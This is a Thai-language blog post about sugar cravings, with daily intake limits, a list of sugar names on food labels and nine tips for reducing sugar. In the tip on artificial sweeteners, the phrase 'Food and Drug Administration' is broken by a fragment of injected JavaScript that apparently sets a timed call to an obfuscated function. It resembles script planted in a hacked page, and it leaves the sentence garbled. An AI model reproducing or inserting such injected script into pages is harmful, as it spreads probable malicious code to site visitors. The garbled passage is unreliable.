Sugar Craving :ติดหวานทำไงดี

ชีวิตต้องหวานบ้างเป็นเรื่องธรรมดา แต่หวานมากไปมันจะอ้วน!

ผู้รู้ได้ให้คำแนะนำว่าเราควรรับน้ำตาลเท่าไรต่อวัน โดยปกติถ้าเป็นผู้หญิงก็จะอยู่ที่ 25 กรัม/วัน (ประมาณ 100 แคลอรี่ หรือน้ำตาล 6 ช้อนชา) ส่วนท่านชายก็อยู่ที่ 38 กรัม/วัน (150 แคลอรี่ หรือน้ำตาล 9 ช้อนชา) แต่ไม่ว่าเราจะรักสุขภาพมากน้อยแค่ไหน ทุกครั้งที่เห็นของหวานก็ต้องมีความอยากเป็นธรรมดา แต่ต้องบริโภคของหวาน ชนิด 3 มื้อหลังอาหารทุกวันถือว่ามากเกินไปมั้ย การรับของหวานหรือน้ำตาลที่มากไปจะเพิ่มน้ำหนักให้กับร่างกาย เพิ่มความเสี่ยงการเป็นโรคต่างๆ อย่างเช่น โรคหัวใจ เบาหวานและความดันในเส้นเลือด

และอย่างที่รู้กัน น้ำตาลเป็นแหล่งพลังงานชั้นดี สามารถย่อยสลายได้ง่ายและส่งผ่านพลังงานได้รวดเร็ว แต่การรับน้ำตาลมากเกินไปหรือ overdose จะไปรบกวนระบบฮอร์โมนในร่างการ อย่างเช่น Hunger hormone ระบบฮอร์โมนที่บอกว่าเราหิวแล้วหรืออิ่มแล้ว โดยจะไปรบกวนฮอร์โมน Satiety ที่บอกว่าเราอิ่ม ผลคือเรารับอาหารมากกว่าที่จำเป็น แถมเจ้าน้ำตาลยังสามารถกระตุ้นให้หลั่งสาร Endorphin หรือสารความสุขด้วยนะครับ ไม่แปลกว่าทำไมเราจึงรู้สึกดีทุกครั้งที่กินเค้ก

การรับน้ำตาลเป็นระยะพอเป็นๆ กระษัยนั้นดี แต่การรับมากๆ ติดต่อกันนาน จะพัฒนาให้เกิดอาการติดหวาน (Sugar Craving) จำไว้นะครับว่ายิ่งกินมากยิ่งเพิ่ม เอ๊กตร้าแคลอรี่ให้กับร่างกาย แคลอรี่ที่เพิ่มขึ้นหมายถึงเราจะอ้วนขึ้นด้วยครับผม

เรามาดู 9 วิธีที่ช่วยป้องกันและลดอาการติดหวาน

รู้จักชื่อเสียงเรียงนาม: เจ้าน้ำตาลนั้นมีหลายชื่อหลายแบบ สิ่งแรกที่เราจะเลือกซื้อเลือกกินต้องดูที่ฉลากก่อน เลือกดูตรงช่อง ข้อมูลโภคชนาการ หรือ Nutrition Facts มองหาชื่อของน้ำตาลที่อาจจะเป็นภาษาไทย แต่ถ้าเป็นภาษาอังกฤษ ส่วนมากจะลงท้ายด้วย “-ose” อย่างเช่น lactose, maltose และ sucrose

ชื่อน้ำตาลอื่นๆ ที่อาจจะพบได้บ่อย

brown sugar (น้ำตาลแดง)
cane sugar (น้ำตาลทราย น้ำตาลที่ได้จากอ้อย)
corn syrup (น้ำเชื่อมข้าวโพด)
corn sugar (น้ำตาลที่ได้จากข้าวโพด)
dextrose (น้ำตาลเด็กซ์โทรส )
fruit juice concentrate (น้ำผลไม้เข้มข้น)
high fructose corn syrup (น้ำเชื่อมฟรักโตส ที่ทำมาจากข้าวโพด)
honey (น้ำผึ้ง)
maltodextrin (มอลโทเดกซ์ทริน น้ำตาลจากแป้งจากธัญญพืช)
molasses sucrose (กากน้ำตาลอ้อย)
raw sugar (น้ำตาลดิบ)
turbinado sugar (น้ำตาลทรายแดง)

มาก่อนมาหลัง: ถ้ามีชื่อของน้ำตาล (หรือน้ำตาลตามรายชื่อข้างบน) ปรากฏเป็นส่วนผสมหลักสามตัวแรก คิดให้ดีก็จะเลือกรับประทาน เพราะลิสต์ของส่วนผสมจะเรียงตามน้ำหนัก ถ้าน้ำตาลเป็นตัวแรกแสดงว่าใส่น้ำตาลหนัก มีน่ำตาลเป็นส่วนผสมที่มากที่สุด
ส่วนผสม: มองหาสัดส่วนของน้ำตาลทั้งหมดที่ใช้ในช่องข้อมูลโภชนการ (คงต้องบวกคูณหารนิดหน่อย) เพราะ หนึ่งกรัมของน้ำตาลจะให้พลังงาน 4 แคลอรี่ ถ้ามีน้ำตาลทั้งหมด 20 กรัม หมายความว่าจะให้พลังงาน 80 แคลอรี่ น้ำตาลที่มาจากธรรมชาติอย่าง Lactose (แล็กโทส) หรือ Fructose (ฟรักโทส) ถือว่าเป็นน้ำตาลคุณภาพดี (Healthy) เพราะแหล่งที่มาจะให้สารอาหารอื่นๆ มาด้วย อย่าง แคลเซียม วิตามินดี ไฟเบอร์และวิตามินซี แต่อย่างไรก็ตามถ้าเจอในสามบรรทัดแรก ก็ควรเลี่ยงเพราะใช้น้ำตาลทำเยอะจริงๆ
กินน้อยๆ: พยายามเลือกผลิตภัณฑ์ที่ใช้น้ำตาลน้อยที่สุดถ้าทำได้ ให้ดีเลือกตัวที่มีน้ำตาลไม่เกิน 2.5 กรัม / 100 แคลอรี่
ของธรรมชาติ: ผลไม้สดรสหวานสามารถทดแทนกันได้กรณีที่ลงแดง แถมยังให้วิตามิน ไฟเบอร์และแร่ธาตุ และน้ำช่วยให้รู้อิ่มนานกว่าขนมธรรมดา
เวลา: ถ้าต้องการน้ำตาลจริงๆ แนะนำให้ทานหลังออกกำลังกายประมาณ 20-30 นาที ช่วงนี้ร่างกายจะย่อยน้ำตาลได้ดีที่สุด ผสมน้ำตาลหรือของหวานร่สมกับพวกโปรตีนได้ยิ่งดี เพราะร่างกายจะได้ดึงโปรตีนไปเสร้างกล้ามเนื้อที่เสียหาย
รสทางเลือก: เราสามรถปรุงแต่งรสอาหารได้นอกจากเพิ่มน้ำตาลอย่างเดียว ลองมองหาพวกสมุนไพรหรือเครื่องเทศอย่าง อบเชย กานพลูและพริกไทยดำ เป็นต้น
รู้ทัน: น้ำสลัดหรือโยเกริ์ต ที่ไม่มีรสหวาน อย่าคิดว่าไม่ใส่น้ำตาลนะ เพราะจริงๆ แล้วใส่ในปริมาณน้อย ยิ่งอาหารประเภท Low-fat ส่วนมากจะเติมน้ำตาลทั้งนั้น ไม่งั้นกินไม่ลงจริงๆ ขนมปังพวก multigrain ก็ใส่ด้วยนะครับ สไลด์หนึ่งก็อาจจะมี 2 กรัม ถ้าเราสามารถหาซื้อแบรนด์ที่เขียนว่า “no added sugar” มากินแทนได้จะดีมาก
ระวังสารทดแทนความหวาน: สารทดแทนความหวานหรือที่เรียกว่า Calorie-free artificial sweetener ทำให้เกิดอาหารกลุ่ม low-calories อย่างแพร่หลาย เป็นประโยชน์ต่อกลุ่มที่ต้องการควบคุมอาหารหรือน้ำตาล อย่างกลุ่มคนที่เป็นเบาหวาน สารทดแทนความหวานต้องผ่านการอนุมัติจาก อย. หรือในต่างประเทศก็จะเป็นองค์กรที่รัฐรับรองอย่าง Food andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Drug Administration (FDA) หลายๆ เคสที่ผ่านการศึกษาพบว่าการรับอาหารที่มีสารทดแทนความหวานเมื่อรับเข้าไปแล้ว ทำให้เกิดอาการอยากกินอาหารมากขึ้น ไปรบกวนการหลั่งฮอร์โมนบ้างก็มี บางเคสก็บอกว่า หลังจากที่เค้าตัดอาหารพวกผสมสารทดแทนความหวาน อาการอยากรสหวานลดลงควบคุมความอยากและน้ำหนักได้ดีขึ้น ฉะนั้นสารทดแทนความหวานจึงไม่ใช่คำตอบของทุกอย่าง การฝึกจิตใจให้แข็งแกร่งต่อแรงดึงดูดน่าจะมากก่อนนะครับ